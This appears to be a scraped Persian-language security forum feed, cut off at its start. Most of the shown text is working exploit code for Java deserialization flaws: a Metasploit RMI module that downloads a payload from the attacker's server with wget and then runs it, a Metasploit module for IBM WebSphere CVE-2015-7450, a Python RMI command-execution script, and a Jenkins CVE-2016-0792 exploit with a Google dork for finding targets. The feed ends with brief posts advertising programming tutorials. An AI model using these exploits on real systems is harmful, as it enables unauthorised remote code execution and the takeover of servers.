x76\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69\x43\x6F\x6E\x73\x74\x61\x6E\x74\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x70\x78\x70\x76\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x52\x75\x6E\x74\x69\x6D\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x49\x6E\x76\x6F\x6B\x65\x72\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x87\xE8\xFF\x6B\x7B\x7C\xCE\x38\x02\x00\x03\x5B\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C\x00\x0B\x69\x4D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x5B\x00\x0B\x69\x50\x61\x72\x61\x6D\x54\x79\x70\x65\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x0A\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\xCB\xCD\x5A\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4D\x65\x74\x68\x6F\x64\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\xA0\xF0\xA4\x38\x7A\x3B\xB3\x42\x02\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x24\x73\x71\x00\x7E\x00\x1C\x75\x71\x00\x7E\x00\x21\x00\x00\x00\x02\x70\x75\x71\x00\x7E\x00\x21\x00\x00\x00\x00\x74\x00\x06\x69\x6E\x76\x6F\x6B\x65\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x21\x73\x71\x00\x7E\x00\x1C\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00" data2 += cmd.length.chr data2 += cmd data2 += "\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x01\x71\x00\x7E\x00\x29\x73\x71\x00\x7E\x00\x17\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\x12\xE2\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65\x70\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7E\x00\x09\x3F\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7E\x00\x3F\x78\x71\x00\x7E\x00\x3F" begin connect sock.put(data1) # Wait for a successful response data = recv_protocol_ack # rescue nil unless data fail_with(Failure::Unknown, "This system has not responded with the correct RMI header") end # Send the RMI payload sock.put(data2) # Disconnect disconnect rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the host") end end # Wget the file onto the host in the temp directory def wget_payload resource_uri = '/' + @dropped_elf if datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri vprint_status("#{peer} - Starting up our web service on #{service_url} ...") start_service( 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri } ) exec_command("wget -P #{datastore['WRITABLEDIR']} #{service_url}") Rex.sleep(15) end # Change permissions to permit binary execution def chmod_payload cmd = "chmod +x #{File.join(datastore['WRITABLEDIR'], @dropped_elf)}" vprint_status("#{peer} - Chmod the payload...") res = exec_command(cmd) fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload") unless res Rex.sleep(1) end # Execute payload on host def exec_payload cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf) vprint_status("#{peer} - Executing the payload...") res = exec_command(cmd) fail_with(Failure::Unknown, "#{peer} - Unable to exec payload") unless res Rex.sleep(1) end # Handle incoming requests from the server def on_request_uri(cli, _request) vprint_status("#{peer} - Sending the payload to the server...") send_response(cli, generate_payload_exe) end # Create the payload and run the commands in succcession def exploit print_status("#{peer} - Exploting the vulnerable service...") @payload_url = '' @dropped_elf = rand_text_alpha(rand(5) + 3) wget_payload chmod_payload exec_payload end end
  7. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, 'Name' => "IBM WebSphere RCE Java Deserialization Vulnerability", 'Description' => %q{ This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Liatsis Fotios @liatsisfotios' # Metasploit Module # Thanks for helping me: # # # # # # # # # # # # # Kyprianos Vasilopoulos @kavasilo # Implemented and reviewed - Metasploit module # Dimitriadis Alexios @AlxDm_ # Assistance and code check # Kotsiopoulos Panagiotis # Guidance about Size and Buffer implementation ], 'References' => [ ['CVE', '2015-7450'], ['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'], ['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'], ['URL', 'https://www.tenable.com/plugins/index.php?view=single&id=87171'] ], 'Platform' => 'win', 'Targets' => [ [ 'IBM WebSphere 7.0.0.0', {} ] ], 'DisclosureDate' => "Nov 6 2015", 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true, 'WfsDelay' => 20 })) register_options([ OptString.new('TARGETURI', [true, 'The base IBM\'s WebSphere SOAP path', '/']), Opt::RPORT('8880') ], self.class) end def exploit # Decode - Generate - Set Payload / Send SOAP Request soap_request(set_payload) end def set_payload # CommonCollections1 Serialized Streams ccs_start = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQ=" ccs_end = "dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAEHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADo=" # Generate Payload payload_exec = invoke_ccs(ccs_start) + gen_payload + invoke_ccs(ccs_end) payload_exec = Rex::Text.encode_base64(payload_exec) end def invoke_ccs(serialized_stream) # Decode Serialized Streams serialized_stream = Rex::Text.decode_base64(serialized_stream) end def gen_payload # Staging Native Payload exec_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first) exec_cmd = exec_cmd.gsub("%COMSPEC% /b /c start /b /min ", "") # Size up RCE - Buffer cmd_lng = exec_cmd.length lng2str = "0" + cmd_lng.to_s(16) buff = [lng2str].pack("H*") rce_pld = buff + exec_cmd end def soap_request(inject_payload) # SOAP Request req = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n" req += "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">" + "\r\n" req += "<SOAP-ENV:Header xmlns:ns0=\"admin\" ns0:WASRemoteRuntimeVersion=\"7.0.0.0\" ns0:JMXMessageVersion=\"1.0.0\" ns0:SecurityEnabled=\"true\" ns0:JMXVersion=\"1.2.0\">" + "\r\n" req += "<LoginMethod>BasicAuth</LoginMethod>" + "\r\n" req += "</SOAP-ENV:Header>" + "\r\n" req += "<SOAP-ENV:Body>" + "\r\n" req += "<ns1:getAttribute xmlns:ns1=\"urn:AdminService\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" + "\r\n" req += "<objectname xsi:type=\"ns1:javax.management.ObjectName\">" + inject_payload + "</objectname>" + "\r\n" req += "<attribute xsi:type=\"xsd:string\">ringBufferSize</attribute>" + "\r\n" req += "</ns1:getAttribute>" + "\r\n" req += "</SOAP-ENV:Body>" + "\r\n" req += "</SOAP-ENV:Envelope>" + "\r\n" uri = target_uri.path res = send_request_raw({ 'method' => 'POST', 'version' => '1.1', 'raw_headers' => "Content-Type: text/xml; charset=utf-8" + "\r\n" + "SOAPAction: \"urn:AdminService\"" + "\r\n", 'uri' => normalize_uri(uri), 'data' => req }) end end
  8. #!/usr/bin/env python import socket import sys import ssl def getHeader(): return '\x4a\x52\x4d\x49\x00\x02\x4b' def payload(): cmd = sys.argv[4] cmdlen = len(cmd) data2 = '\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x00\x00\x00\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x05\x70\x77\x6e\x65\x64\x73\x7d\x00\x00\x00\x01\x00\x0f\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x52\x65\x6d\x6f\x74\x65\x70\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70\x73\x72\x00\x32\x73\x75\x6e\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x61\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x2e\x41\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x55\xca\xf5\x0f\x15\xcb\x7e\xa5\x02\x00\x02\x4c\x00\x0c\x6d\x65\x6d\x62\x65\x72\x56\x61\x6c\x75\x65\x73\x74\x00\x0f\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61\x70\x3b\x4c\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x70\x78\x70\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x70\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x71\x00\x7e\x00\x00\x73\x71\x00\x7e\x00\x05\x73\x7d\x00\x00\x00\x01\x00\x0d\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x4d\x61\x70\x70\x78\x71\x00\x7e\x00\x02\x73\x71\x00\x7e\x00\x05\x73\x72\x00\x2a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70\x2e\x4c\x61\x7a\x79\x4d\x61\x70\x6e\xe5\x94\x82\x9e\x79\x10\x94\x03\x00\x01\x4c\x00\x07\x66\x61\x63\x74\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x70\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x68\x61\x69\x6e\x65\x64\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x30\xc7\x97\xec\x28\x7a\x97\x04\x02\x00\x01\x5b\x00\x0d\x69\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x73\x74\x00\x2d\x5b\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x70\x78\x70\x75\x72\x00\x2d\x5b\x4c\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\xbd\x56\x2a\xf1\xd8\x34\x18\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3b\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x6f\x6e\x73\x74\x61\x6e\x74\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x58\x76\x90\x11\x41\x02\xb1\x94\x02\x00\x01\x4c\x00\x09\x69\x43\x6f\x6e\x73\x74\x61\x6e\x74\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x70\x78\x70\x76\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x52\x75\x6e\x74\x69\x6d\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x49\x6e\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c\xce\x38\x02\x00\x03\x5b\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0b\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0b\x69\x50\x61\x72\x61\x6d\x54\x79\x70\x65\x73\x74\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x70\x78\x70\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69\x6d\x65\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b\xab\x16\xd7\xae\xcb\xcd\x5a\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4d\x65\x74\x68\x6f\x64\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\xa0\xf0\xa4\x38\x7a\x3b\xb3\x42\x02\x00\x00\x70\x78\x70\x76\x71\x00\x7e\x00\x24\x73\x71\x00\x7e\x00\x1c\x75\x71\x00\x7e\x00\x21\x00\x00\x00\x02\x70\x75\x71\x00\x7e\x00\x21\x00\x00\x00\x00\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x76\x71\x00\x7e\x00\x21\x73\x71\x00\x7e\x00\x1c\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74' data2 += '\x00' + chr(cmdlen) data2 += cmd data2 += '\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x01\x71\x00\x7e\x00\x29\x73\x71\x00\x7e\x00\x17\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75\x65\x70\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7e\x00\x09\x3f\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7e\x00\x3f\x78\x71\x00\x7e\x00\x3f' return data2 def sslMode(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP) return ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1, ciphers="ALL") def exploitTarget(sock): server_address = (sys.argv[1], int(sys.argv[2])) print 'connecting to %s port %s' % server_address sock.connect(server_address) print 'sending exploit headers\n' sock.send(getHeader()) sock.recv(8192) print 'sending exploit\n' sock.send(payload()) sock.close() print 'exploit completed.' if __name__ == "__main__": if len(sys.argv) != 5: print 'Usage: python ' + sys.argv[0] + ' host port ssl cmd' print 'ie: python ' + sys.argv[0] + ' 192.168.1.100 1099 false "ping -c 4 yahoo.com"' sys.exit(0) else: sock = None if sys.argv[3] == "true" or sys.argv[3] == "TRUE" or sys.argv[3] == True: sock = sslMode() if sys.argv[3] == "false" or sys.argv[3] == "FALSE" or sys.argv[3] == False: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP) exploitTarget(sock)
  9. import random import string from decimal import Decimal import requests from requests.exceptions import RequestException # Exploit Title: Jenkins CVE-2016-0792 Deserialization Remote Exploit # Google Dork: intitle: "Dashboard [Jenkins]" + "Manage Jenkins" # Date: 30-07-2017 # Exploit Author: Janusz Piechówka # Github: https://github.com/jpiechowka/jenkins-cve-2016-0792 # Vendor Homepage: https://jenkins.io/ # Version: Versions before 1.650 and LTS before 1.642.2 # Tested on: Debian # CVE : CVE-2016-0792 def prepare_payload(command): splitCommand = command.split() preparedCommands = '' for entry in splitCommand: preparedCommands += f'<string>{entry}</string>' xml = f''' <map> <entry> <groovy.util.Expando> <expandoProperties> <entry> <string>hashCode</string> <org.codehaus.groovy.runtime.MethodClosure> <delegate class="groovy.util.Expando"/> <owner class="java.lang.ProcessBuilder"> <command>{preparedCommands}</command> </owner> <method>start</method> </org.codehaus.groovy.runtime.MethodClosure> </entry> </expandoProperties> </groovy.util.Expando> <int>1</int> </entry> </map>''' return xml def exploit(url, command): print(f'[*] STARTING') try: print(f'[+] Trying to exploit Jenkins running at address: {url}') # Perform initial URL check to see if server is online and returns correct response code using HEAD request headResponse = requests.head(url, timeout=30) if headResponse.status_code == requests.codes.ok: print(f'[+] Server online and responding | RESPONSE: {headResponse.status_code}') # Check if X-Jenkins header containing version is present then proceed jenkinsVersionHeader = headResponse.headers.get('X-Jenkins') if jenkinsVersionHeader is not None: # Strip version after second dot from header to perform conversion to Decimal stripCharacter = "." strippedVersion = stripCharacter.join(jenkinsVersionHeader.split(stripCharacter)[:2]) # Perform basic version check if Decimal(strippedVersion) < 1.650: print(f'[+] Jenkins version: {Decimal(strippedVersion)} | VULNERABLE') # Prepare payload payload = prepare_payload(command) # Prepare POST url randomJobName = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.digits) for _ in range(8)) if url.endswith('/'): postUrl = f'{url}createItem?name={randomJobName}' else: postUrl = f'{url}/createItem?name={randomJobName}' print(f'[+] Will POST to {postUrl}') # Try to execute passed command postResponse = requests.post(postUrl, data=payload, headers={'Content-Type': 'application/xml'}) print(f'[+] Exploit launched ') # 500 response code is ok here print(f'[+] Response code: {postResponse.status_code} ') if postResponse.status_code == 500: print('[+] SUCCESS') else: print('[-][ERROR] EXPLOIT LAUNCHED, BUT WRONG RESPONSE CODE RETURNED') else: print(f'[-][ERROR] Version {Decimal(strippedVersion)} is not vulnerable') else: print(f'[-][ERROR] X-Jenkins header not present, check if Jenkins is actually running at {url}') else: print(f'[-][ERROR] {url} Server did not return success response code | RESPONSE: {headResponse.status_code}') except RequestException as ex: print(f'[-] [ERROR] Request exception: {ex}') print('[*] FINISHED')
  10. Doctor Robot

    Programming-JAVA آموزش جاوا

    آموزش جاوا قسمت : 60 قسمت سطح آموزش : متوسط نوع آموزش : تصویری زبان : فارسی مدت زمان : +540 دقیقه حجم دوره: +1200 مگابایت
  11. چندین کتاب برتر در اموزش زبان های برنامه نویسی مختلف رمز تمامی فایل ها(anonysec.org) لایک فراموش نشه
  12. باسلام.معین سون هستم با آموزش یادگیری سریع و آسان jquery در خدمتتان هستم . فایل به صورت pdf است . رمز فایل www.anonysec.org موفق باشید لایک فراموش نشه
  13. دوره تخصصی java script به صورت pdf رمز تمامی فایل ها anonysec.org لایک فراموش نشه
  14. سلام خدمت دوستان و علاقه مندان عزیز! در این بخش ویدیو های آموزشی برنامه نویسی اندروید به صورت کامل و به زبان فارسی قرار داده میشه،کسایی که مبتدی هستند یا متوسط هستند و میخوان مهارتشون تکمیل بشه میتونن از این بخش استفاده کنن و ویدیو هارو ببینند. سعی شده بهترین آموزش هارو برای شما قرار بدیم! با تشکر پسوورد تمام فایل ها : anonysec.ir تعداد : 40 پارت کیفیت : خوب زبان : فارسی
  15. Moeein Seven

    Programming-JS Node.js چیست؟

